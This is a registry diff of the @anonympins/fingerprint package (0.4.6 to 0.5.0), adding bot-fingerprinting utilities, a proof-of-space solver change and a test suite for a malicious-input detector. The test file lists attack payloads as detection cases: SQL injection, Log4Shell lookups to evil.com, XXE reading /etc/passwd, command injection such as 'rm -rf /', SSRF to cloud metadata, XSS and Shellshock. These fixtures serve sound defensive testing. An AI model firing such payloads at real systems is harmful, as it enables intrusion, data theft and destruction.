@anonympins/fingerprint 0.4.6 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +21 -0
- package/README.md +56 -11
- package/package.json +2 -1
- package/src/js/fingerprint.client.js +139 -0
- package/src/js/fingerprint.js +360 -191
- package/src/js/fingerprint.utils.js +184 -0
- package/src/js/library.js +1 -1
- package/src/js/pow.solver.inline.js +12 -4
- package/src/js/pow.solver.js +12 -4
- package/src/js/tests/fingerprint.isMalicious.test.js +234 -116
- package/src/js/tests/fingerprint.test.js +132 -1
- package/src/js/tests/ja3AnomalyDetector.test.js +1 -0
- package/src/php/AutoTuner.php +71 -0
- package/src/php/Challenge/ChallengeUtils.php +302 -9
- package/src/php/FingerprintEngine.php +40 -2
- package/src/php/Tests/ChallengeUtilsTest.php +208 -81
- package/src/php/Tests/MaliciousPatternsTest.php +104 -0
- package/src/php/Utils/BigInt.php +202 -144
- package/src/php/Utils/MaliciousPatterns.php +74 -58
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
import {cyrb53} from "./fingerprint.builder.js";
|
|
2
|
+
|
|
3
|
+
export function verifyZkpProof(yStr, tStr, sStr) {
|
|
4
|
+
try {
|
|
5
|
+
const y = BigInt('0x' + yStr);
|
|
6
|
+
const t = BigInt('0x' + tStr);
|
|
7
|
+
const s = BigInt('0x' + sStr);
|
|
8
|
+
|
|
9
|
+
const ZKP_P = 115792089237316195423570985008687907853269984665640564039457584007908834671663n;
|
|
10
|
+
const ZKP_G = 2n;
|
|
11
|
+
|
|
12
|
+
const cStr = ZKP_G.toString() + y.toString() + t.toString();
|
|
13
|
+
const hashHex = crypto.createHash('sha256').update(cStr).digest('hex');
|
|
14
|
+
const c = BigInt('0x' + hashHex) % ZKP_P;
|
|
15
|
+
|
|
16
|
+
return modPow(ZKP_G, s, ZKP_P) === (t * modPow(y, c, ZKP_P)) % ZKP_P;
|
|
17
|
+
} catch (e) {
|
|
18
|
+
return false;
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
export function decodePolymorphicFingerprint(fpString, mapping) {
|
|
23
|
+
if (!fpString || !mapping || !mapping.keys) return fpString;
|
|
24
|
+
const reverseKeys = {};
|
|
25
|
+
for (const [orig, rand] of Object.entries(mapping.keys)) {
|
|
26
|
+
reverseKeys[rand] = orig;
|
|
27
|
+
}
|
|
28
|
+
const parts = fpString.split('|');
|
|
29
|
+
const mappedParts = parts.map(part => {
|
|
30
|
+
const pair = part.split(':');
|
|
31
|
+
if (pair.length === 2) {
|
|
32
|
+
const origKey = reverseKeys[pair[0]] || pair[0];
|
|
33
|
+
return `${origKey}:${pair[1]}`;
|
|
34
|
+
}
|
|
35
|
+
return part;
|
|
36
|
+
});
|
|
37
|
+
return mappedParts.join('|');
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
/**
|
|
42
|
+
* @private
|
|
43
|
+
* Deep merges two objects. The `source` object's properties overwrite the `target`'s.
|
|
44
|
+
* @param {object} target - The target object.
|
|
45
|
+
* @param {object} source - The source object.
|
|
46
|
+
* @returns {object} The merged object.
|
|
47
|
+
*/
|
|
48
|
+
export function deepMerge(target, source) {
|
|
49
|
+
const output = { ...target };
|
|
50
|
+
if (target && typeof target === 'object' && source && typeof source === 'object') {
|
|
51
|
+
Object.keys(source).forEach(key => {
|
|
52
|
+
if (source[key] && typeof source[key] === 'object' && key in target) {
|
|
53
|
+
output[key] = deepMerge(target[key], source[key]);
|
|
54
|
+
} else {
|
|
55
|
+
output[key] = source[key];
|
|
56
|
+
}
|
|
57
|
+
});
|
|
58
|
+
}
|
|
59
|
+
return output;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
/**
|
|
63
|
+
* Creates a stable hash based on device characteristics, independent of the IP.
|
|
64
|
+
* This is our "level 2 fingerprint".
|
|
65
|
+
* @param {object} context - The request context.
|
|
66
|
+
* @returns {string} A hash representing the device.
|
|
67
|
+
*/
|
|
68
|
+
export function getHeaderSignature(context) {
|
|
69
|
+
if (!context.rawHeaders) return '';
|
|
70
|
+
const headerKeys = [];
|
|
71
|
+
for (let i = 0; i < context.rawHeaders.length; i += 2) {
|
|
72
|
+
headerKeys.push(context.rawHeaders[i]);
|
|
73
|
+
}
|
|
74
|
+
return cyrb53(headerKeys.sort().join(','));
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/**
|
|
78
|
+
* Analyses a raw JA3 string.
|
|
79
|
+
* Format: "TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurveFormats"
|
|
80
|
+
* @param {string} ja3String
|
|
81
|
+
* @returns {object|null}
|
|
82
|
+
*/
|
|
83
|
+
export function parseJa3(ja3String) {
|
|
84
|
+
if (!ja3String || typeof ja3String !== 'string') {
|
|
85
|
+
return null;
|
|
86
|
+
}
|
|
87
|
+
const parts = ja3String.split(',');
|
|
88
|
+
if (parts.length !== 5) {
|
|
89
|
+
return null;
|
|
90
|
+
}
|
|
91
|
+
return {
|
|
92
|
+
tlsVersion: parseInt(parts[0], 10),
|
|
93
|
+
ciphers: parts[1] !== '' ? parts[1].split('-').map(Number) : [],
|
|
94
|
+
extensions: parts[2] !== '' ? parts[2].split('-').map(Number) : [],
|
|
95
|
+
curves: parts[3] !== '' ? parts[3].split('-').map(Number) : [],
|
|
96
|
+
points: parts[4] !== '' ? parts[4].split('-').map(Number) : []
|
|
97
|
+
};
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
export function modPow(base, exponent, modulus) {
|
|
101
|
+
if (modulus === 1n) return 0n;
|
|
102
|
+
let result = 1n;
|
|
103
|
+
base = base % modulus;
|
|
104
|
+
while (exponent > 0n) {
|
|
105
|
+
if (exponent % 2n === 1n) {
|
|
106
|
+
result = (result * base) % modulus;
|
|
107
|
+
}
|
|
108
|
+
exponent = exponent >> 1n;
|
|
109
|
+
base = (base * base) % modulus;
|
|
110
|
+
}
|
|
111
|
+
return result;
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
export function hashNetwork(ip, prefix = 24) {
|
|
116
|
+
// Hash du réseau (masque /24 ou /16)
|
|
117
|
+
const parts = ip.split('.');
|
|
118
|
+
if (parts.length !== 4) return null;
|
|
119
|
+
const maskBytes = prefix / 8;
|
|
120
|
+
const network = parts.slice(0, maskBytes).join('.');
|
|
121
|
+
// Hash simple
|
|
122
|
+
let hash = 0;
|
|
123
|
+
for (let i = 0; i < network.length; i++) {
|
|
124
|
+
const char = network.charCodeAt(i);
|
|
125
|
+
hash = ((hash << 5) - hash) + char;
|
|
126
|
+
hash = hash & hash;
|
|
127
|
+
}
|
|
128
|
+
return hash.toString(16);
|
|
129
|
+
}
|
|
130
|
+
export function normalizeReferer(referer) {
|
|
131
|
+
try {
|
|
132
|
+
const url = new URL(referer);
|
|
133
|
+
return `${url.protocol}//${url.hostname}`;
|
|
134
|
+
} catch {
|
|
135
|
+
return referer;
|
|
136
|
+
}
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
export function isPrivateIp(ip) {
|
|
140
|
+
// Vérifier si l'IP est privée
|
|
141
|
+
const parts = ip.split('.');
|
|
142
|
+
if (parts.length !== 4) return false;
|
|
143
|
+
const first = parseInt(parts[0]);
|
|
144
|
+
return (first === 10) || (first === 172 && parseInt(parts[1]) >= 16 && parseInt(parts[1]) <= 31) || (first === 192 && parseInt(parts[1]) === 168);
|
|
145
|
+
}
|
|
146
|
+
// Fonctions utilitaires
|
|
147
|
+
export function parseUserAgent(ua) {
|
|
148
|
+
// Parser basique du User-Agent
|
|
149
|
+
const result = {};
|
|
150
|
+
|
|
151
|
+
// Détection du navigateur
|
|
152
|
+
if (ua.includes('Chrome') && !ua.includes('Edg')) {
|
|
153
|
+
result.browser = 'Chrome';
|
|
154
|
+
const match = ua.match(/Chrome\/(\d+)/);
|
|
155
|
+
if (match) result.browser += `/${match[1]}`;
|
|
156
|
+
} else if (ua.includes('Firefox')) {
|
|
157
|
+
result.browser = 'Firefox';
|
|
158
|
+
const match = ua.match(/Firefox\/(\d+)/);
|
|
159
|
+
if (match) result.browser += `/${match[1]}`;
|
|
160
|
+
} else if (ua.includes('Safari') && !ua.includes('Chrome')) {
|
|
161
|
+
result.browser = 'Safari';
|
|
162
|
+
const match = ua.match(/Version\/(\d+)/);
|
|
163
|
+
if (match) result.browser += `/${match[1]}`;
|
|
164
|
+
} else if (ua.includes('Edg')) {
|
|
165
|
+
result.browser = 'Edge';
|
|
166
|
+
const match = ua.match(/Edg\/(\d+)/);
|
|
167
|
+
if (match) result.browser += `/${match[1]}`;
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
// Détection de l'OS
|
|
171
|
+
if (ua.includes('Windows NT 10.0')) result.os = 'Windows 10';
|
|
172
|
+
else if (ua.includes('Windows NT 6.1')) result.os = 'Windows 7';
|
|
173
|
+
else if (ua.includes('Mac OS X')) result.os = 'macOS';
|
|
174
|
+
else if (ua.includes('Linux') && !ua.includes('Android')) result.os = 'Linux';
|
|
175
|
+
else if (ua.includes('Android')) result.os = 'Android';
|
|
176
|
+
else if (ua.includes('iPhone') || ua.includes('iPad')) result.os = 'iOS';
|
|
177
|
+
|
|
178
|
+
// Détection du type d'appareil
|
|
179
|
+
if (ua.includes('Mobile')) result.device = 'mobile';
|
|
180
|
+
else if (ua.includes('Tablet')) result.device = 'tablet';
|
|
181
|
+
else result.device = 'desktop';
|
|
182
|
+
|
|
183
|
+
return result;
|
|
184
|
+
}
|
package/src/js/library.js
CHANGED
|
@@ -1551,7 +1551,7 @@ Optimization.Operators.createFullSecurityConfigEvaluator = ({ trafficData }) =>
|
|
|
1551
1551
|
// Pour cet exemple, nous utilisons une version simplifiée.
|
|
1552
1552
|
let score = 0;
|
|
1553
1553
|
for (const key in config.weights) {
|
|
1554
|
-
score += (log.vector[key] || 0) * config.weights[key];
|
|
1554
|
+
score += (log.vector?.[key] || 0) * config.weights[key];
|
|
1555
1555
|
}
|
|
1556
1556
|
return score;
|
|
1557
1557
|
};
|
|
@@ -70,7 +70,7 @@ async function initializeSpace(seed, sizeMb) {
|
|
|
70
70
|
store.put({ sizeMb, seed }, metadataKey);
|
|
71
71
|
}
|
|
72
72
|
|
|
73
|
-
async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
|
|
73
|
+
async function solveSpaceChallenge(seed, queries, nonce, clientSecret, peerBlock = '') {
|
|
74
74
|
const db = await openDb();
|
|
75
75
|
const transaction = db.transaction("blocks", "readonly");
|
|
76
76
|
const store = transaction.objectStore("blocks");
|
|
@@ -88,11 +88,19 @@ async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
|
|
|
88
88
|
combined.set(block, i * 1024);
|
|
89
89
|
}
|
|
90
90
|
|
|
91
|
+
let finalCombined = combined;
|
|
92
|
+
if (peerBlock) {
|
|
93
|
+
const peerBytes = new Uint8Array(peerBlock.match(/.{1,2}/g).map(byte => parseInt(byte, 16)));
|
|
94
|
+
finalCombined = new Uint8Array(combined.length + peerBytes.length);
|
|
95
|
+
finalCombined.set(combined);
|
|
96
|
+
finalCombined.set(peerBytes, combined.length);
|
|
97
|
+
}
|
|
98
|
+
|
|
91
99
|
const encoder = new TextEncoder();
|
|
92
100
|
const nonceBytes = encoder.encode(nonce + ":" + clientSecret);
|
|
93
|
-
const finalBlock = new Uint8Array(
|
|
94
|
-
finalBlock.set(
|
|
95
|
-
finalBlock.set(nonceBytes,
|
|
101
|
+
const finalBlock = new Uint8Array(finalCombined.length + nonceBytes.length);
|
|
102
|
+
finalBlock.set(finalCombined);
|
|
103
|
+
finalBlock.set(nonceBytes, finalCombined.length);
|
|
96
104
|
|
|
97
105
|
const buf = await crypto.subtle.digest("SHA-256", finalBlock);
|
|
98
106
|
return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('');
|
package/src/js/pow.solver.js
CHANGED
|
@@ -73,7 +73,7 @@ export async function initializeSpace(seed, sizeMb) {
|
|
|
73
73
|
store.put({ sizeMb, seed }, metadataKey);
|
|
74
74
|
}
|
|
75
75
|
|
|
76
|
-
export async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
|
|
76
|
+
export async function solveSpaceChallenge(seed, queries, nonce, clientSecret, peerBlock = '') {
|
|
77
77
|
const db = await openDb();
|
|
78
78
|
const transaction = db.transaction("blocks", "readonly");
|
|
79
79
|
const store = transaction.objectStore("blocks");
|
|
@@ -91,11 +91,19 @@ export async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
|
|
|
91
91
|
combined.set(block, i * 1024);
|
|
92
92
|
}
|
|
93
93
|
|
|
94
|
+
let finalCombined = combined;
|
|
95
|
+
if (peerBlock) {
|
|
96
|
+
const peerBytes = new Uint8Array(peerBlock.match(/.{1,2}/g).map(byte => parseInt(byte, 16)));
|
|
97
|
+
finalCombined = new Uint8Array(combined.length + peerBytes.length);
|
|
98
|
+
finalCombined.set(combined);
|
|
99
|
+
finalCombined.set(peerBytes, combined.length);
|
|
100
|
+
}
|
|
101
|
+
|
|
94
102
|
const encoder = new TextEncoder();
|
|
95
103
|
const nonceBytes = encoder.encode(nonce + ":" + clientSecret);
|
|
96
|
-
const finalBlock = new Uint8Array(
|
|
97
|
-
finalBlock.set(
|
|
98
|
-
finalBlock.set(nonceBytes,
|
|
104
|
+
const finalBlock = new Uint8Array(finalCombined.length + nonceBytes.length);
|
|
105
|
+
finalBlock.set(finalCombined);
|
|
106
|
+
finalBlock.set(nonceBytes, finalCombined.length);
|
|
99
107
|
|
|
100
108
|
const buf = await crypto.subtle.digest("SHA-256", finalBlock);
|
|
101
109
|
return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('');
|
|
@@ -1,117 +1,235 @@
|
|
|
1
|
-
import {describe, expect, it} from 'vitest';
|
|
2
|
-
import {isMalicious} from '../fingerprint.js';
|
|
3
|
-
|
|
4
|
-
// We import the function directly to test it in isolation, avoiding vite:define errors.
|
|
5
|
-
|
|
6
|
-
describe('isMalicious Unit Tests', () => {
|
|
7
|
-
|
|
8
|
-
describe('SQL and NoSQL Injections', () => {
|
|
9
|
-
it.each([
|
|
10
|
-
["' OR '1'='1'"],
|
|
11
|
-
["' or '1'='1' --"],
|
|
12
|
-
["UNION SELECT username, password FROM users"],
|
|
13
|
-
["; DROP TABLE products;--"],
|
|
14
|
-
["SLEEP(5)"],
|
|
15
|
-
["BENCHMARK(10000,MD5('a'))"],
|
|
16
|
-
["WAITFOR DELAY '0:0:5'"],
|
|
17
|
-
['{"$ne": null}'],
|
|
18
|
-
])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
|
|
19
|
-
expect(isMalicious(payload)).toBe(true);
|
|
20
|
-
});
|
|
21
|
-
|
|
22
|
-
it.each([
|
|
23
|
-
["A normal comment -- for a blog post."],
|
|
24
|
-
["Please select your union representative."],
|
|
25
|
-
["The price is not equal to $10."],
|
|
26
|
-
["My favorite song is 'Stairway to Heaven'."],
|
|
27
|
-
])('should NOT detect legitimate string: %s', (payload) => {
|
|
28
|
-
expect(isMalicious(payload)).toBe(false);
|
|
29
|
-
});
|
|
30
|
-
});
|
|
31
|
-
|
|
32
|
-
describe('Log4Shell (JNDI Injection)', () => {
|
|
33
|
-
it.each([
|
|
34
|
-
["${jndi:ldap://evil.com/a}"],
|
|
35
|
-
["${jndi:rmi://evil.com/a}"],
|
|
36
|
-
["${jndi:dns://evil.com/a}"],
|
|
37
|
-
["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
|
|
38
|
-
])('should detect Log4Shell pattern: %s', (payload) => {
|
|
39
|
-
expect(isMalicious(payload)).toBe(true);
|
|
40
|
-
});
|
|
41
|
-
|
|
42
|
-
it.each([
|
|
43
|
-
["The variable is ${user.name}"],
|
|
44
|
-
["This is a normal log message."],
|
|
45
|
-
])('should NOT detect legitimate log message: %s', (payload) => {
|
|
46
|
-
expect(isMalicious(payload)).toBe(false);
|
|
47
|
-
});
|
|
48
|
-
});
|
|
49
|
-
|
|
50
|
-
describe('Server-Side Template Injection (SSTI)', () => {
|
|
51
|
-
it.each([
|
|
52
|
-
["{{ 7*7 }}"],
|
|
53
|
-
["{% if user.isAdmin %}{% endif %}"],
|
|
54
|
-
["Hello {{user.name}}"], // Potentially risky
|
|
55
|
-
])('should detect SSTI pattern: %s', (payload) => {
|
|
56
|
-
expect(isMalicious(payload)).toBe(true);
|
|
57
|
-
});
|
|
58
|
-
|
|
59
|
-
it.each([
|
|
60
|
-
["A normal string with {curly braces}"],
|
|
61
|
-
["(100%)"],
|
|
62
|
-
])('should NOT detect legitimate string with braces: %s', (payload) => {
|
|
63
|
-
expect(isMalicious(payload)).toBe(false);
|
|
64
|
-
});
|
|
65
|
-
});
|
|
66
|
-
|
|
67
|
-
describe('XML External Entity (XXE)', () => {
|
|
68
|
-
it.each([
|
|
69
|
-
['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
|
|
70
|
-
['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
|
|
71
|
-
])('should detect XXE pattern: %s', (payload) => {
|
|
72
|
-
expect(isMalicious(payload)).toBe(true);
|
|
73
|
-
});
|
|
74
|
-
|
|
75
|
-
it.each([
|
|
76
|
-
["<!DOCTYPE html>"],
|
|
77
|
-
["<note><to>Tove</to></note>"],
|
|
78
|
-
])('should NOT detect legitimate XML/HTML: %s', (payload) => {
|
|
79
|
-
expect(isMalicious(payload)).toBe(false);
|
|
80
|
-
});
|
|
81
|
-
});
|
|
82
|
-
|
|
83
|
-
describe('Path Traversal', () => {
|
|
84
|
-
it.each([
|
|
85
|
-
["../../../../etc/passwd"],
|
|
86
|
-
["..\\..\\..\\..\\windows\\system32\\config.sam"],
|
|
87
|
-
])('should detect Path Traversal pattern: %s', (payload) => {
|
|
88
|
-
expect(isMalicious(payload)).toBe(true);
|
|
89
|
-
});
|
|
90
|
-
|
|
91
|
-
it.each([
|
|
92
|
-
["path/to/a/legitimate/file.txt"],
|
|
93
|
-
["Just two dots.. not a traversal."],
|
|
94
|
-
])('should NOT detect legitimate path: %s', (payload) => {
|
|
95
|
-
expect(isMalicious(payload)).toBe(false);
|
|
96
|
-
});
|
|
97
|
-
});
|
|
98
|
-
|
|
99
|
-
describe('Command Injection', () => {
|
|
100
|
-
it.each([
|
|
101
|
-
["/path/to/script.sh; ls -la "],
|
|
102
|
-
["127.0.0.1 && whoami "],
|
|
103
|
-
["`reboot`"],
|
|
104
|
-
["filename.txt\ncat /etc/passwd "],
|
|
105
|
-
[" | rm -rf /"], // Pipe before a dangerous command
|
|
106
|
-
])('should detect Command Injection pattern: %s', (payload) => {
|
|
107
|
-
expect(isMalicious(payload)).toBe(true);
|
|
108
|
-
});
|
|
109
|
-
|
|
110
|
-
it.each([
|
|
111
|
-
["A normal command like ls -la /tmp"],
|
|
112
|
-
["Use the pipe | for output redirection."],
|
|
113
|
-
])('should NOT detect legitimate command-like string: %s', (payload) => {
|
|
114
|
-
expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
|
|
115
|
-
});
|
|
116
|
-
});
|
|
1
|
+
import {describe, expect, it} from 'vitest';
|
|
2
|
+
import {isMalicious} from '../fingerprint.js';
|
|
3
|
+
|
|
4
|
+
// We import the function directly to test it in isolation, avoiding vite:define errors.
|
|
5
|
+
|
|
6
|
+
describe('isMalicious Unit Tests', () => {
|
|
7
|
+
|
|
8
|
+
describe('SQL and NoSQL Injections', () => {
|
|
9
|
+
it.each([
|
|
10
|
+
["' OR '1'='1'"],
|
|
11
|
+
["' or '1'='1' --"],
|
|
12
|
+
["UNION SELECT username, password FROM users"],
|
|
13
|
+
["; DROP TABLE products;--"],
|
|
14
|
+
["SLEEP(5)"],
|
|
15
|
+
["BENCHMARK(10000,MD5('a'))"],
|
|
16
|
+
["WAITFOR DELAY '0:0:5'"],
|
|
17
|
+
['{"$ne": null}'],
|
|
18
|
+
])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
|
|
19
|
+
expect(isMalicious(payload)).toBe(true);
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
it.each([
|
|
23
|
+
["A normal comment -- for a blog post."],
|
|
24
|
+
["Please select your union representative."],
|
|
25
|
+
["The price is not equal to $10."],
|
|
26
|
+
["My favorite song is 'Stairway to Heaven'."],
|
|
27
|
+
])('should NOT detect legitimate string: %s', (payload) => {
|
|
28
|
+
expect(isMalicious(payload)).toBe(false);
|
|
29
|
+
});
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
describe('Log4Shell (JNDI Injection)', () => {
|
|
33
|
+
it.each([
|
|
34
|
+
["${jndi:ldap://evil.com/a}"],
|
|
35
|
+
["${jndi:rmi://evil.com/a}"],
|
|
36
|
+
["${jndi:dns://evil.com/a}"],
|
|
37
|
+
["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
|
|
38
|
+
])('should detect Log4Shell pattern: %s', (payload) => {
|
|
39
|
+
expect(isMalicious(payload)).toBe(true);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it.each([
|
|
43
|
+
["The variable is ${user.name}"],
|
|
44
|
+
["This is a normal log message."],
|
|
45
|
+
])('should NOT detect legitimate log message: %s', (payload) => {
|
|
46
|
+
expect(isMalicious(payload)).toBe(false);
|
|
47
|
+
});
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
describe('Server-Side Template Injection (SSTI)', () => {
|
|
51
|
+
it.each([
|
|
52
|
+
["{{ 7*7 }}"],
|
|
53
|
+
["{% if user.isAdmin %}{% endif %}"],
|
|
54
|
+
["Hello {{user.name}}"], // Potentially risky
|
|
55
|
+
])('should detect SSTI pattern: %s', (payload) => {
|
|
56
|
+
expect(isMalicious(payload)).toBe(true);
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
it.each([
|
|
60
|
+
["A normal string with {curly braces}"],
|
|
61
|
+
["(100%)"],
|
|
62
|
+
])('should NOT detect legitimate string with braces: %s', (payload) => {
|
|
63
|
+
expect(isMalicious(payload)).toBe(false);
|
|
64
|
+
});
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
describe('XML External Entity (XXE)', () => {
|
|
68
|
+
it.each([
|
|
69
|
+
['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
|
|
70
|
+
['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
|
|
71
|
+
])('should detect XXE pattern: %s', (payload) => {
|
|
72
|
+
expect(isMalicious(payload)).toBe(true);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it.each([
|
|
76
|
+
["<!DOCTYPE html>"],
|
|
77
|
+
["<note><to>Tove</to></note>"],
|
|
78
|
+
])('should NOT detect legitimate XML/HTML: %s', (payload) => {
|
|
79
|
+
expect(isMalicious(payload)).toBe(false);
|
|
80
|
+
});
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
describe('Path Traversal', () => {
|
|
84
|
+
it.each([
|
|
85
|
+
["../../../../etc/passwd"],
|
|
86
|
+
["..\\..\\..\\..\\windows\\system32\\config.sam"],
|
|
87
|
+
])('should detect Path Traversal pattern: %s', (payload) => {
|
|
88
|
+
expect(isMalicious(payload)).toBe(true);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
it.each([
|
|
92
|
+
["path/to/a/legitimate/file.txt"],
|
|
93
|
+
["Just two dots.. not a traversal."],
|
|
94
|
+
])('should NOT detect legitimate path: %s', (payload) => {
|
|
95
|
+
expect(isMalicious(payload)).toBe(false);
|
|
96
|
+
});
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
describe('Command Injection', () => {
|
|
100
|
+
it.each([
|
|
101
|
+
["/path/to/script.sh; ls -la "],
|
|
102
|
+
["127.0.0.1 && whoami "],
|
|
103
|
+
["`reboot`"],
|
|
104
|
+
["filename.txt\ncat /etc/passwd "],
|
|
105
|
+
[" | rm -rf /"], // Pipe before a dangerous command
|
|
106
|
+
])('should detect Command Injection pattern: %s', (payload) => {
|
|
107
|
+
expect(isMalicious(payload)).toBe(true);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
it.each([
|
|
111
|
+
["A normal command like ls -la /tmp"],
|
|
112
|
+
["Use the pipe | for output redirection."],
|
|
113
|
+
])('should NOT detect legitimate command-like string: %s', (payload) => {
|
|
114
|
+
expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
|
|
115
|
+
});
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
describe('Server-Side Request Forgery (SSRF)', () => {
|
|
119
|
+
it.each([
|
|
120
|
+
["http://127.0.0.1/admin"],
|
|
121
|
+
["https://localhost:8080"],
|
|
122
|
+
["http://169.254.169.254/latest/meta-data/"],
|
|
123
|
+
["http://[::1]/"],
|
|
124
|
+
])('should detect SSRF pattern: %s', (payload) => {
|
|
125
|
+
expect(isMalicious(payload)).toBe(true);
|
|
126
|
+
});
|
|
127
|
+
|
|
128
|
+
it.each([
|
|
129
|
+
["https://google.com"],
|
|
130
|
+
["https://github.com/login"],
|
|
131
|
+
])('should NOT detect legitimate external URL: %s', (payload) => {
|
|
132
|
+
expect(isMalicious(payload)).toBe(false);
|
|
133
|
+
});
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
describe('CRLF Injection', () => {
|
|
137
|
+
it.each([
|
|
138
|
+
["malicious\r\nSet-Cookie: session=evil"],
|
|
139
|
+
["%0d%0aSet-Cookie: session=evil"],
|
|
140
|
+
])('should detect CRLF pattern: %s', (payload) => {
|
|
141
|
+
expect(isMalicious(payload)).toBe(true);
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
it.each([
|
|
145
|
+
["normal text without carriage returns"],
|
|
146
|
+
])('should NOT detect normal text: %s', (payload) => {
|
|
147
|
+
expect(isMalicious(payload)).toBe(false);
|
|
148
|
+
});
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
describe('Cross-Site Scripting (XSS)', () => {
|
|
152
|
+
it.each([
|
|
153
|
+
["<script>alert(1)</script>"],
|
|
154
|
+
["javascript:alert(1)"],
|
|
155
|
+
["<img src=x onerror=alert(1)>"],
|
|
156
|
+
["<iframe src=javascript:alert(1)>"],
|
|
157
|
+
])('should detect XSS pattern: %s', (payload) => {
|
|
158
|
+
expect(isMalicious(payload)).toBe(true);
|
|
159
|
+
});
|
|
160
|
+
|
|
161
|
+
it.each([
|
|
162
|
+
["This is a normal paragraph with some <b>bold</b> text."],
|
|
163
|
+
])('should NOT detect clean HTML/text: %s', (payload) => {
|
|
164
|
+
expect(isMalicious(payload)).toBe(false);
|
|
165
|
+
});
|
|
166
|
+
});
|
|
167
|
+
|
|
168
|
+
describe('Open Redirect', () => {
|
|
169
|
+
it.each([
|
|
170
|
+
["https://evil.com"],
|
|
171
|
+
["http://malicious-site.org/redirect"],
|
|
172
|
+
["//attacker.com"],
|
|
173
|
+
])('should detect Open Redirect pattern: %s', (payload) => {
|
|
174
|
+
expect(isMalicious(payload, ['openRedirect'])).toBe(true);
|
|
175
|
+
});
|
|
176
|
+
|
|
177
|
+
it.each([
|
|
178
|
+
["/local/path/to/page"],
|
|
179
|
+
["http://localhost/dashboard"],
|
|
180
|
+
["http://127.0.0.1:3000/profile"],
|
|
181
|
+
])('should NOT detect local redirect path: %s', (payload) => {
|
|
182
|
+
expect(isMalicious(payload, ['openRedirect'])).toBe(false);
|
|
183
|
+
});
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
describe('Local/Remote File Inclusion (LFI/RFI)', () => {
|
|
187
|
+
it.each([
|
|
188
|
+
["etc/passwd"],
|
|
189
|
+
["win.ini"],
|
|
190
|
+
["php://filter/read=convert.base64-encode/resource=index.php"],
|
|
191
|
+
["data://text/plain;base64,SSBsb3ZlIFBIUAo="],
|
|
192
|
+
])('should detect LFI/RFI pattern: %s', (payload) => {
|
|
193
|
+
expect(isMalicious(payload)).toBe(true);
|
|
194
|
+
});
|
|
195
|
+
|
|
196
|
+
it.each([
|
|
197
|
+
["/var/www/html/index.php"],
|
|
198
|
+
["My computer runs windows, yours runs linux."],
|
|
199
|
+
])('should NOT detect normal filenames or terms: %s', (payload) => {
|
|
200
|
+
expect(isMalicious(payload)).toBe(false);
|
|
201
|
+
});
|
|
202
|
+
});
|
|
203
|
+
|
|
204
|
+
describe('Shellshock (CVE-2014-6271)', () => {
|
|
205
|
+
it.each([
|
|
206
|
+
["() { :; }; echo 'Vulnerable'"],
|
|
207
|
+
["() { :;}; /bin/bash"],
|
|
208
|
+
])('should detect Shellshock pattern: %s', (payload) => {
|
|
209
|
+
expect(isMalicious(payload)).toBe(true);
|
|
210
|
+
});
|
|
211
|
+
|
|
212
|
+
it.each([
|
|
213
|
+
["function test() { echo 'Not Shellshock'; }"],
|
|
214
|
+
])('should NOT detect normal functions: %s', (payload) => {
|
|
215
|
+
expect(isMalicious(payload)).toBe(false);
|
|
216
|
+
});
|
|
217
|
+
});
|
|
218
|
+
|
|
219
|
+
describe('NoSQL MongoDB Operator Injection', () => {
|
|
220
|
+
it.each([
|
|
221
|
+
["$gt"],
|
|
222
|
+
["$elemMatch"],
|
|
223
|
+
["$where"],
|
|
224
|
+
])('should detect NoSQL pattern: %s', (payload) => {
|
|
225
|
+
expect(isMalicious(payload)).toBe(true);
|
|
226
|
+
});
|
|
227
|
+
|
|
228
|
+
it.each([
|
|
229
|
+
["This costs $100 dollars"],
|
|
230
|
+
["No operators here"],
|
|
231
|
+
])('should NOT detect normal dollar signs: %s', (payload) => {
|
|
232
|
+
expect(isMalicious(payload)).toBe(false);
|
|
233
|
+
});
|
|
234
|
+
});
|
|
117
235
|
});
|